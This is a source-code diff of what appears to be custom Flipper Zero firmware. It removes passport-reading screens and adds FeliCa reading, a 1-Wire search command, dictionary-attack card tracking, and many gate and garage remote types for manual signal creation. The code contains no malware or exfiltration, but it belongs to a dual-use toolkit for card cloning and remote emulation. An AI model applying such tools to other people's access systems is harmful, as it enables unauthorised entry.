- } - furi_string_cat_printf(temp_str, "ISO 14443-%c (NFC-%c)\n", iso_type, nfc_type); - furi_string_cat_printf(temp_str, "UID:"); - for(size_t i = 0; i < data->uid_len; i++) { - furi_string_cat_printf(temp_str, " %02X", data->uid[i]); - } - furi_string_cat_printf(temp_str, "\nATQA: %02X %02X ", data->atqa[1], data->atqa[0]); - furi_string_cat_printf(temp_str, " SAK: %02X\n", data->sak); - - if(mrtd_data->auth.method != MrtdAuthMethodNone && !mrtd_data->auth_success) { - furi_string_cat_printf(temp_str, "Auth failed. Wrong params?"); - } - - widget_add_text_scroll_element(widget, 0, 0, 128, 52, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - widget_add_button_element( - nfc->widget, GuiButtonTypeLeft, "Retry", nfc_scene_passport_read_widget_callback, nfc); - widget_add_button_element( - nfc->widget, GuiButtonTypeCenter, "Auth", nfc_scene_passport_read_widget_callback, nfc); - widget_add_button_element( - nfc->widget, GuiButtonTypeRight, "More", nfc_scene_passport_read_widget_callback, nfc); - - view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); -} - -bool nfc_scene_passport_read_on_event(void* context, SceneManagerEvent event) { - Nfc* nfc = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneRetryConfirm); - consumed = true; - } else if(event.event == GuiButtonTypeCenter) { - scene_manager_next_scene(nfc->scene_manager, NfcScenePassportAuth); - consumed = true; - } else if(event.event == GuiButtonTypeRight) { - scene_manager_next_scene(nfc->scene_manager, NfcScenePassportMenu); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneExitConfirm); - consumed = true; - } - return consumed; -} - -void nfc_scene_passport_read_on_exit(void* context) { - Nfc* nfc = context; - - // Clear view - widget_reset(nfc->widget); -} diff --git a/applications/main/nfc/scenes/nfc_scene_passport_read_auth.c b/applications/main/nfc/scenes/nfc_scene_passport_read_auth.c deleted file mode 100644 index 31a9e8ce1..000000000 --- a/applications/main/nfc/scenes/nfc_scene_passport_read_auth.c +++ /dev/null @@ -1,142 +0,0 @@ -#include "../nfc_i.h" -#include - -const char months[13][4] = { - "---", - "JAN", - "FEB", - "MAR", - "APR", - "MAY", - "JUN", - "JUL", - "AUG", - "SEP", - "OCT", - "NOV", - "DEC", -}; - -void nfc_scene_passport_read_auth_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - Nfc* nfc = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc->view_dispatcher, result); - } -} - -void nfc_scene_passport_read_auth_on_enter(void* context) { - Nfc* nfc = context; - MrtdData* mrtd_data = &nfc->dev->dev_data.mrtd_data; - - Widget* widget = nfc->widget; - - // Setup Custom Widget view - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_set(temp_str, "\e#Passport\n"); - furi_string_cat_printf( - temp_str, "Auth.method: %s\n", mrtd_auth_method_string(mrtd_data->auth_method_used)); - // TODO: indicate BAC / PACE used - - uint16_t lds_version = mrtd_data->files.EF_COM.lds_version; - furi_string_cat_printf(temp_str, "LDS version: %d.%d\n", lds_version / 100, lds_version % 100); - - uint32_t unicode_version = mrtd_data->files.EF_COM.unicode_version; - furi_string_cat_printf( - temp_str, - "Unicode version: %d.%d.%d\n", - (uint8_t)(unicode_version / 10000), - (uint8_t)(unicode_version / 100 % 100), - (uint8_t)(unicode_version % 100)); - - furi_string_cat_printf(temp_str, "Avail.files: "); - for(size_t i = 0; i < MAX_EFCOM_TAGS; ++i) { - uint8_t tag = mrtd_data->files.EF_COM.tag_list[i]; - const EFFile* file = mrtd_tag_to_file(tag); - if(file->tag) { - if(i > 0) furi_string_cat_printf(temp_str, ", "); - furi_string_cat_printf(temp_str, "%s", file->name); - } - } - furi_string_cat_printf(temp_str, "\n"); - - EF_DIR_contents* EF_DIR = &mrtd_data->files.EF_DIR; - if(EF_DIR->applications_count > 0) { - furi_string_cat_printf(temp_str, "Apps:\n"); - for(uint8_t i = 0; i < EF_DIR->applications_count; ++i) { - for(uint8_t n = 0; n < sizeof(AIDValue); ++n) { - furi_string_cat_printf(temp_str, "%02X ", EF_DIR->applications[i][n]); - } - furi_string_cat_printf(temp_str, "\n"); - } - } - - EF_DG1_contents* DG1 = &mrtd_data->files.DG1; - furi_string_cat_printf(temp_str, "\e#DG1\n"); - furi_string_cat_printf(temp_str, "Doc Type: %s\n", DG1->doctype); - furi_string_cat_printf(temp_str, "Issuing State: %s\n", DG1->issuing_state); - furi_string_cat_printf(temp_str, "Name: %s\n", DG1->name); - furi_string_cat_printf(temp_str, "DocNr: %s\n", DG1->docnr); - furi_string_cat_printf(temp_str, "Nationality: %s\n", DG1->nationality); - furi_string_cat_printf( - temp_str, - "Birth Date: %02d %s %02d\n", - DG1->birth_date.day, - months[DG1->birth_date.month], - DG1->birth_date.year); - furi_string_cat_printf(temp_str, "Sex: %s\n", DG1->sex); - furi_string_cat_printf( - temp_str, - "Expiry Date: %02d %s %02d\n", - DG1->expiry_date.day, - months[DG1->expiry_date.month], - DG1->expiry_date.year); - - widget_add_text_scroll_element(widget, 0, 0, 128, 52, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - widget_add_button_element( - nfc->widget, GuiButtonTypeLeft, "Retry", nfc_scene_passport_read_auth_widget_callback, nfc); - /* - widget_add_button_element( - nfc->widget, GuiButtonTypeCenter, "Auth", nfc_scene_passport_read_auth_widget_callback, nfc); - widget_add_button_element( - nfc->widget, GuiButtonTypeRight, "More", nfc_scene_passport_read_auth_widget_callback, nfc); - */ - - view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); -} - -bool nfc_scene_passport_read_auth_on_event(void* context, SceneManagerEvent event) { - Nfc* nfc = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - nfc->dev->dev_data.mrtd_data.auth_success = false; - nfc->dev->dev_data.mrtd_data.auth.method = MrtdAuthMethodNone; - scene_manager_next_scene(nfc->scene_manager, NfcSceneRetryConfirm); - consumed = true; - } else if(event.event == GuiButtonTypeCenter) { - //scene_manager_next_scene(nfc->scene_manager, NfcScenePassportAuth); - //consumed = true; - } else if(event.event == GuiButtonTypeRight) { - //scene_manager_next_scene(nfc->scene_manager, NfcScenePassportMenu); - //consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneExitConfirm); - consumed = true; - } - return consumed; -} - -void nfc_scene_passport_read_auth_on_exit(void* context) { - Nfc* nfc = context; - - // Clear view - widget_reset(nfc->widget); -} diff --git a/applications/main/nfc/scenes/nfc_scene_read.c b/applications/main/nfc/scenes/nfc_scene_read.c index 7164a155f..c96562275 100644 --- a/applications/main/nfc/scenes/nfc_scene_read.c +++ b/applications/main/nfc/scenes/nfc_scene_read.c @@ -25,12 +25,12 @@ void nfc_scene_read_set_state(Nfc* nfc, NfcSceneReadState state) { if(state == NfcSceneReadStateDetecting) { popup_reset(nfc->popup); popup_set_text( - nfc->popup, "Apply Card To\nFlipper's Back", 97, 24, AlignCenter, AlignTop); + nfc->popup, "Apply card to\nFlipper's back", 97, 24, AlignCenter, AlignTop); popup_set_icon(nfc->popup, 0, 8, &I_NFC_manual_60x50); } else if(state == NfcSceneReadStateReading) { popup_reset(nfc->popup); popup_set_header( - nfc->popup, "Reading Card\nDon't Move...", 85, 24, AlignCenter, AlignTop); + nfc->popup, "Reading card\nDon't move...", 85, 24, AlignCenter, AlignTop); popup_set_icon(nfc->popup, 12, 23, &A_Loading_24); } scene_manager_set_scene_state(nfc->scene_manager, NfcSceneRead, state); @@ -95,19 +95,6 @@ bool nfc_scene_read_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneEmvReadSuccess); DOLPHIN_DEED(DolphinDeedNfcReadSuccess); consumed = true; - } else if(event.event == NfcWorkerEventReadPassport) { - notification_message(nfc->notifications, &sequence_success); - FURI_LOG_D( - "NFC", - "Read passport, auth: %d, success: %d", - nfc->dev->dev_data.mrtd_data.auth.method, - nfc->dev->dev_data.mrtd_data.auth_success); - if(nfc->dev->dev_data.mrtd_data.auth_success) { - scene_manager_next_scene(nfc->scene_manager, NfcScenePassportReadAuthSuccess); - } else { - scene_manager_next_scene(nfc->scene_manager, NfcScenePassportReadSuccess); - } - consumed = true; } else if(event.event == NfcWorkerEventReadMfClassicDictAttackRequired) { if(mf_classic_dict_check_presence(MfClassicDictTypeSystem)) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfClassicDictAttack); @@ -115,6 +102,11 @@ bool nfc_scene_read_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDictNotFound); } consumed = true; + } else if(event.event == NfcWorkerEventReadFelica) { + notification_message(nfc->notifications, &sequence_success); + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaReadSuccess); + DOLPHIN_DEED(DolphinDeedNfcReadSuccess); + consumed = true; } else if(event.event == NfcWorkerEventCardDetected) { nfc_scene_read_set_state(nfc, NfcSceneReadStateReading); nfc_blink_detect_start(nfc); diff --git a/applications/main/nfc/scenes/nfc_scene_read_card_type.c b/applications/main/nfc/scenes/nfc_scene_read_card_type.c index 94262aa1e..865b3f54b 100644 --- a/applications/main/nfc/scenes/nfc_scene_read_card_type.c +++ b/applications/main/nfc/scenes/nfc_scene_read_card_type.c @@ -7,6 +7,7 @@ enum SubmenuIndex { SubmenuIndexReadMfUltralight, SubmenuIndexReadEMV, SubmenuIndexReadNFCA, + SubmenuIndexReadFelica, }; void nfc_scene_read_card_type_submenu_callback(void* context, uint32_t index) { @@ -49,6 +50,12 @@ void nfc_scene_read_card_type_on_enter(void* context) { SubmenuIndexReadNFCA, nfc_scene_read_card_type_submenu_callback, nfc); + submenu_add_item( + submenu, + "Read FeliCa", + SubmenuIndexReadFelica, + nfc_scene_read_card_type_submenu_callback, + nfc); uint32_t state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneReadCardType); submenu_set_selected_item(submenu, state); @@ -85,6 +92,11 @@ bool nfc_scene_read_card_type_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneRead); consumed = true; } + if(event.event == SubmenuIndexReadFelica) { + nfc->dev->dev_data.read_mode = NfcReadModeFelica; + scene_manager_next_scene(nfc->scene_manager, NfcSceneRead); + consumed = true; + } scene_manager_set_scene_state(nfc->scene_manager, NfcSceneReadCardType, event.event); } return consumed; diff --git a/applications/main/nfc/scenes/nfc_scene_save_success.c b/applications/main/nfc/scenes/nfc_scene_save_success.c index c5d8a6872..d3e31fdc3 100644 --- a/applications/main/nfc/scenes/nfc_scene_save_success.c +++ b/applications/main/nfc/scenes/nfc_scene_save_success.c @@ -32,12 +32,6 @@ bool nfc_scene_save_success_on_event(void* context, SceneManagerEvent event) { } else if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSavedMenu)) { consumed = scene_manager_search_and_switch_to_previous_scene( nfc->scene_manager, NfcSceneSavedMenu); - } else if(scene_manager_has_previous_scene(nfc->scene_manager, NfcScenePassportAuth)) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc->scene_manager, NfcScenePassportAuth); - } else if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneNfcDataInfo)) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc->scene_manager, NfcSceneNfcDataInfo); } else { consumed = scene_manager_search_and_switch_to_another_scene( nfc->scene_manager, NfcSceneFileSelect); diff --git a/applications/main/nfc/scenes/nfc_scene_saved_menu.c b/applications/main/nfc/scenes/nfc_scene_saved_menu.c index dddaa47b3..15771bcc3 100644 --- a/applications/main/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_saved_menu.c @@ -44,6 +44,7 @@ void nfc_scene_saved_menu_on_enter(void* context) { } } else if( nfc->dev->format == NfcDeviceSaveFormatMifareUl || + nfc->dev->format == NfcDeviceSaveFormatNfcV || nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { submenu_add_item( submenu, "Emulate", SubmenuIndexEmulate, nfc_scene_saved_menu_submenu_callback, nfc); @@ -118,7 +119,7 @@ bool nfc_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { } else if(nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfClassicEmulate); } else if(nfc->dev->format == NfcDeviceSaveFormatNfcV) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateNfcV); + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVEmulate); } else { scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateUid); } diff --git a/applications/main/nfc/scenes/nfc_scene_set_atqa.c b/applications/main/nfc/scenes/nfc_scene_set_atqa.c index f2100aa19..f26ce8436 100644 --- a/applications/main/nfc/scenes/nfc_scene_set_atqa.c +++ b/applications/main/nfc/scenes/nfc_scene_set_atqa.c @@ -11,13 +11,13 @@ void nfc_scene_set_atqa_on_enter(void* context) { // Setup view ByteInput* byte_input = nfc->byte_input; - byte_input_set_header_text(byte_input, "Enter atqa in hex"); + byte_input_set_header_text(byte_input, "Enter ATQA in hex"); byte_input_set_result_callback( byte_input, nfc_scene_set_atqa_byte_input_callback, NULL, nfc, - nfc->dev->dev_data.nfc_data.atqa, + nfc->dev->dev_data.nfc_data.a_data.atqa, 2); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewByteInput); } diff --git a/applications/main/nfc/scenes/nfc_scene_set_sak.c b/applications/main/nfc/scenes/nfc_scene_set_sak.c index 3c88f3504..98bd6441a 100644 --- a/applications/main/nfc/scenes/nfc_scene_set_sak.c +++ b/applications/main/nfc/scenes/nfc_scene_set_sak.c @@ -17,7 +17,7 @@ void nfc_scene_set_sak_on_enter(void* context) { nfc_scene_set_sak_byte_input_callback, NULL, nfc, - &nfc->dev->dev_data.nfc_data.sak, + &nfc->dev->dev_data.nfc_data.a_data.sak, 1); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewByteInput); } @@ -28,7 +28,7 @@ bool nfc_scene_set_sak_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == NfcCustomEventByteInputDone) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneSetAtqua); + scene_manager_next_scene(nfc->scene_manager, NfcSceneSetAtqa); consumed = true; } } diff --git a/applications/main/nfc/scenes/nfc_scene_set_uid.c b/applications/main/nfc/scenes/nfc_scene_set_uid.c index 5f0f52f6e..54606b68e 100644 --- a/applications/main/nfc/scenes/nfc_scene_set_uid.c +++ b/applications/main/nfc/scenes/nfc_scene_set_uid.c @@ -11,7 +11,7 @@ void nfc_scene_set_uid_on_enter(void* context) { // Setup view ByteInput* byte_input = nfc->byte_input; - byte_input_set_header_text(byte_input, "Enter uid in hex"); + byte_input_set_header_text(byte_input, "Enter UID in hex"); nfc->dev_edit_data = nfc->dev->dev_data.nfc_data; byte_input_set_result_callback( byte_input, diff --git a/applications/main/nfc/scenes/nfc_scene_start.c b/applications/main/nfc/scenes/nfc_scene_start.c index 2a116fe09..48ddf55c5 100644 --- a/applications/main/nfc/scenes/nfc_scene_start.c +++ b/applications/main/nfc/scenes/nfc_scene_start.c @@ -30,10 +30,14 @@ void nfc_scene_start_on_enter(void* context) { submenu_add_item( submenu, "Add Manually", SubmenuIndexAddManually, nfc_scene_start_submenu_callback, nfc); - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - submenu_add_item( - submenu, "Debug", SubmenuIndexDebug, nfc_scene_start_submenu_callback, nfc); - } + submenu_add_lockable_item( + submenu, + "Debug", + SubmenuIndexDebug, + nfc_scene_start_submenu_callback, + nfc, + !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug), + "Enable\nDebug!"); submenu_set_selected_item( submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcSceneStart)); @@ -48,11 +52,14 @@ bool nfc_scene_start_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubmenuIndexRead) { + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneStart, SubmenuIndexRead); nfc->dev->dev_data.read_mode = NfcReadModeAuto; scene_manager_next_scene(nfc->scene_manager, NfcSceneRead); DOLPHIN_DEED(DolphinDeedNfcRead); consumed = true; } else if(event.event == SubmenuIndexDetectReader) { + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneStart, SubmenuIndexDetectReader); bool sd_exist = storage_sd_status(nfc->dev->storage) == FSE_OK; if(sd_exist) { nfc_device_data_clear(&nfc->dev->dev_data); @@ -63,19 +70,27 @@ bool nfc_scene_start_on_event(void* context, SceneManagerEvent event) { } consumed = true; } else if(event.event == SubmenuIndexSaved) { + // Save the scene state explicitly in each branch, so that + // if the user cancels loading a file, the Saved menu item + // is properly reselected. + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneStart, SubmenuIndexSaved); scene_manager_next_scene(nfc->scene_manager, NfcSceneFileSelect); consumed = true; } else if(event.event == SubmenuIndexExtraAction) { + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneStart, SubmenuIndexExtraAction); scene_manager_next_scene(nfc->scene_manager, NfcSceneExtraActions); consumed = true; } else if(event.event == SubmenuIndexAddManually) { + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneStart, SubmenuIndexAddManually); scene_manager_next_scene(nfc->scene_manager, NfcSceneSetType); consumed = true; } else if(event.event == SubmenuIndexDebug) { + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneStart, SubmenuIndexDebug); scene_manager_next_scene(nfc->scene_manager, NfcSceneDebug); consumed = true; } - scene_manager_set_scene_state(nfc->scene_manager, NfcSceneStart, event.event); } return consumed; } diff --git a/applications/main/nfc/views/dict_attack.c b/applications/main/nfc/views/dict_attack.c index a539e514b..8f4bd063e 100644 --- a/applications/main/nfc/views/dict_attack.c +++ b/applications/main/nfc/views/dict_attack.c @@ -11,6 +11,7 @@ struct DictAttack { View* view; DictAttackCallback callback; void* context; + bool card_present; }; typedef struct { @@ -162,6 +163,7 @@ void dict_attack_set_header(DictAttack* dict_attack, const char* header) { void dict_attack_set_card_detected(DictAttack* dict_attack, MfClassicType type) { furi_assert(dict_attack); + dict_attack->card_present = true; with_view_model( dict_attack->view, DictAttackViewModel * model, @@ -175,6 +177,7 @@ void dict_attack_set_card_detected(DictAttack* dict_attack, MfClassicType type) void dict_attack_set_card_removed(DictAttack* dict_attack) { furi_assert(dict_attack); + dict_attack->card_present = false; with_view_model( dict_attack->view, DictAttackViewModel * model, @@ -182,6 +185,11 @@ void dict_attack_set_card_removed(DictAttack* dict_attack) { true); } +bool dict_attack_get_card_state(DictAttack* dict_attack) { + furi_assert(dict_attack); + return dict_attack->card_present; +} + void dict_attack_set_sector_read(DictAttack* dict_attack, uint8_t sec_read) { furi_assert(dict_attack); with_view_model( diff --git a/applications/main/nfc/views/dict_attack.h b/applications/main/nfc/views/dict_attack.h index 2839534a7..73b98a1b8 100644 --- a/applications/main/nfc/views/dict_attack.h +++ b/applications/main/nfc/views/dict_attack.h @@ -25,6 +25,8 @@ void dict_attack_set_card_detected(DictAttack* dict_attack, MfClassicType type); void dict_attack_set_card_removed(DictAttack* dict_attack); +bool dict_attack_get_card_state(DictAttack* dict_attack); + void dict_attack_set_sector_read(DictAttack* dict_attack, uint8_t sec_read); void dict_attack_set_keys_found(DictAttack* dict_attack, uint8_t keys_found); diff --git a/applications/main/onewire/application.fam b/applications/main/onewire/application.fam new file mode 100644 index 000000000..68d4f6716 --- /dev/null +++ b/applications/main/onewire/application.fam @@ -0,0 +1,14 @@ +App( + appid="onewire", + name="1-Wire", + apptype=FlipperAppType.METAPACKAGE, + provides=["onewire_start"], +) + +App( + appid="onewire_start", + apptype=FlipperAppType.STARTUP, + entry_point="onewire_on_system_start", + requires=["onewire"], + order=60, +) diff --git a/applications/main/onewire/onewire_cli.c b/applications/main/onewire/onewire_cli.c new file mode 100644 index 000000000..4c16fb389 --- /dev/null +++ b/applications/main/onewire/onewire_cli.c @@ -0,0 +1,72 @@ +#include +#include + +#include +#include + +#include + +static void onewire_cli(Cli* cli, FuriString* args, void* context); + +void onewire_on_system_start() { +#ifdef SRV_CLI + Cli* cli = furi_record_open(RECORD_CLI); + cli_add_command(cli, "onewire", CliCommandFlagDefault, onewire_cli, cli); + furi_record_close(RECORD_CLI); +#else + UNUSED(onewire_cli); +#endif +} + +static void onewire_cli_print_usage() { + printf("Usage:\r\n"); + printf("onewire search\r\n"); +}; + +static void onewire_cli_search(Cli* cli) { + UNUSED(cli); + OneWireHost* onewire = onewire_host_alloc(&ibutton_gpio); + uint8_t address[8]; + bool done = false; + + printf("Search started\r\n"); + + onewire_host_start(onewire); + furi_hal_power_enable_otg(); + + while(!done) { + if(onewire_host_search(onewire, address, OneWireHostSearchModeNormal) != 1) { + printf("Search finished\r\n"); + onewire_host_reset_search(onewire); + done = true; + } else { + printf("Found: "); + for(uint8_t i = 0; i < 8; i++) { + printf("%02X", address[i]); + } + printf("\r\n"); + } + furi_delay_ms(100); + } + + furi_hal_power_disable_otg(); + onewire_host_free(onewire); +} + +void onewire_cli(Cli* cli, FuriString* args, void* context) { + UNUSED(context); + FuriString* cmd; + cmd = furi_string_alloc(); + + if(!args_read_string_and_trim(args, cmd)) { + furi_string_free(cmd); + onewire_cli_print_usage(); + return; + } + + if(furi_string_cmp_str(cmd, "search") == 0) { + onewire_cli_search(cli); + } + + furi_string_free(cmd); +} diff --git a/applications/main/subghz/application.fam b/applications/main/subghz/application.fam index f0dc66e89..51d9cd82a 100644 --- a/applications/main/subghz/application.fam +++ b/applications/main/subghz/application.fam @@ -1,6 +1,6 @@ App( appid="subghz", - name="Sub-GHz", + name="SubGHz", apptype=FlipperAppType.APP, targets=["f7"], entry_point="subghz_app", diff --git a/applications/main/subghz/helpers/subghz_custom_event.h b/applications/main/subghz/helpers/subghz_custom_event.h index 4475045ee..eb0ed70e7 100644 --- a/applications/main/subghz/helpers/subghz_custom_event.h +++ b/applications/main/subghz/helpers/subghz_custom_event.h @@ -11,7 +11,18 @@ typedef enum { SubmenuIndexBFTClone, SubmenuIndexBFTMitto, SubmenuIndexSomfyTelis, - SubmenuIndexPricenton, + SubmenuIndexBeninca433, + SubmenuIndexBeninca868, + SubmenuIndexIronLogic, + SubmenuIndexElmesElectronic, + SubmenuIndexSommer_FM_434, + SubmenuIndexSommer_FM_868, + SubmenuIndexDTMNeo433, + SubmenuIndexGibidi433, + SubmenuIndexGSN, + SubmenuIndexAprimatic, + SubmenuIndexANMotorsAT4, + SubmenuIndexAlutechAT4N, SubmenuIndexNiceFlo12bit, SubmenuIndexNiceFlo24bit, SubmenuIndexNiceFlorS_433_92, @@ -19,14 +30,19 @@ typedef enum { SubmenuIndexNiceSmilo_433_92, SubmenuIndexCAME12bit, SubmenuIndexCAME24bit, - SubmenuIndexBETT_433, + SubmenuIndexCAME12bit868, + SubmenuIndexCAME24bit868, SubmenuIndexCAMETwee, + SubmenuIndexCAMESpace, + SubmenuIndexPricenton, + SubmenuIndexPricenton315, + SubmenuIndexBETT_433, + SubmenuIndexLinear_300_00, SubmenuIndexNeroSketch, SubmenuIndexNeroRadio, SubmenuIndexGateTX, SubmenuIndexDoorHan_315_00, SubmenuIndexDoorHan_433_92, - SubmenuIndexLinear_300_00, SubmenuIndexLiftMaster_315_00, SubmenuIndexLiftMaster_390_00, SubmenuIndexLiftMaster_433_00, diff --git a/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c b/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c index c58661332..6bd97c805 100644 --- a/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c +++ b/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c @@ -37,10 +37,13 @@ const char* const debug_counter_text[DEBUG_COUNTER_COUNT] = { static void subghz_scene_ext_module_changed(VariableItem* item) { SubGhz* subghz = variable_item_get_context(item); value_index_exm = variable_item_get_current_value_index(item); - UNUSED(subghz); variable_item_set_current_value_text(item, radio_modules_variables_text[value_index_exm]); + + subghz->last_settings->external_module_enabled = value_index_exm == 1; + subghz_last_settings_save(subghz->last_settings); } + static void subghz_ext_module_start_var_list_enter_callback(void* context, uint32_t index) { SubGhz* subghz = context; view_dispatcher_send_custom_event(subghz->view_dispatcher, index); @@ -85,6 +88,7 @@ static void subghz_scene_receiver_config_set_debug_counter(VariableItem* item) { } static void subghz_scene_receiver_config_set_ext_mod_power(VariableItem* item) { + SubGhz* subghz = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, ext_mod_power_text[index]); @@ -95,6 +99,9 @@ static void subghz_scene_receiver_config_set_ext_mod_power(VariableItem* item) { } else { furi_hal_subghz_enable_ext_power(); } + + subghz->last_settings->external_module_power_5v_disable = index == 1; + subghz_last_settings_save(subghz->last_settings); } void subghz_scene_ext_module_settings_on_enter(void* context) { @@ -122,48 +129,50 @@ void subghz_scene_ext_module_settings_on_enter(void* context) { variable_item_set_current_value_index(item, value_index_pwr); variable_item_set_current_value_text(item, ext_mod_power_text[value_index_pwr]); - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - item = variable_item_list_add( - subghz->variable_item_list, - "Debug Pin", - DEBUG_P_COUNT, - subghz_scene_receiver_config_set_debug_pin, - subghz); - value_index_dpin = subghz->txrx->debug_pin_state; - variable_item_set_current_value_index(item, value_index_dpin); - variable_item_set_current_value_text(item, debug_pin_text[value_index_dpin]); + item = variable_item_list_add( + subghz->variable_item_list, + "Debug Pin", + DEBUG_P_COUNT, + subghz_scene_receiver_config_set_debug_pin, + subghz); + value_index_dpin = subghz->txrx->debug_pin_state; + variable_item_set_current_value_index(item, value_index_dpin); + variable_item_set_current_value_text(item, debug_pin_text[value_index_dpin]); + variable_item_set_locked( + item, !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug), "Enable\nDebug!"); - item = variable_item_list_add( - subghz->variable_item_list, - "Counter incr.", - DEBUG_COUNTER_COUNT, - subghz_scene_receiver_config_set_debug_counter, - subghz); - switch(furi_hal_subghz_get_rolling_counter_mult()) { - case 1: - value_index_cnt = 0; - break; - case 2: - value_index_cnt = 1; - break; - case 3: - value_index_cnt = 2; - break; - case 4: - value_index_cnt = 3; - break; - case 5: - value_index_cnt = 4; - break; - case 10: - value_index_cnt = 5; - break; - default: - break; - } - variable_item_set_current_value_index(item, value_index_cnt); - variable_item_set_current_value_text(item, debug_counter_text[value_index_cnt]); + item = variable_item_list_add( + subghz->variable_item_list, + "Counter incr.", + DEBUG_COUNTER_COUNT, + subghz_scene_receiver_config_set_debug_counter, + subghz); + switch(furi_hal_subghz_get_rolling_counter_mult()) { + case 1: + value_index_cnt = 0; + break; + case 2: + value_index_cnt = 1; + break; + case 3: + value_index_cnt = 2; + break; + case 4: + value_index_cnt = 3; + break; + case 5: + value_index_cnt = 4; + break; + case 10: + value_index_cnt = 5; + break; + default: + break; } + variable_item_set_current_value_index(item, value_index_cnt); + variable_item_set_current_value_text(item, debug_counter_text[value_index_cnt]); + variable_item_set_locked( + item, !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug), "Enable\nDebug!"); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList); } @@ -181,7 +190,7 @@ bool subghz_scene_ext_module_settings_on_event(void* context, SceneManagerEvent // Check if module is present, if no -> show error if(!furi_hal_subghz_check_radio()) { value_index_exm = 0; - furi_hal_subghz_set_radio_type(value_index_exm); + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); furi_string_set(subghz->error_str, "Please connect\nexternal radio"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); } diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_info.c b/applications/main/subghz/scenes/subghz_scene_receiver_info.c index 90046eb9d..978954181 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_info.c @@ -5,6 +5,7 @@ #include #include #include +#include void subghz_scene_receiver_info_callback(GuiButtonType result, InputType type, void* context) { furi_assert(context); @@ -240,6 +241,7 @@ void subghz_scene_receiver_info_on_exit(void* context) { alutech_reset_original_btn(); nice_flors_reset_original_btn(); somfy_telis_reset_original_btn(); + secplus2_reset_original_btn(); star_line_reset_mfname(); star_line_reset_kl_type(); } diff --git a/applications/main/subghz/scenes/subghz_scene_rpc.c b/applications/main/subghz/scenes/subghz_scene_rpc.c index b9585ec36..3e9ac11bc 100644 --- a/applications/main/subghz/scenes/subghz_scene_rpc.c +++ b/applications/main/subghz/scenes/subghz_scene_rpc.c @@ -4,6 +4,7 @@ #include #include #include +#include #include "xtreme/assets.h" @@ -118,6 +119,7 @@ void subghz_scene_rpc_on_exit(void* context) { alutech_reset_original_btn(); nice_flors_reset_original_btn(); somfy_telis_reset_original_btn(); + secplus2_reset_original_btn(); star_line_reset_mfname(); star_line_reset_kl_type(); } diff --git a/applications/main/subghz/scenes/subghz_scene_set_type.c b/applications/main/subghz/scenes/subghz_scene_set_type.c index bc76ee146..b95eee8c9 100644 --- a/applications/main/subghz/scenes/subghz_scene_set_type.c +++ b/applications/main/subghz/scenes/subghz_scene_set_type.c @@ -100,25 +100,91 @@ void subghz_scene_set_type_on_enter(void* context) { subghz); submenu_add_item( subghz->submenu, - "Princeton 433MHz", - SubmenuIndexPricenton, + "AN-Motors AT4 433MHz", + SubmenuIndexANMotorsAT4, subghz_scene_set_type_submenu_callback, subghz); 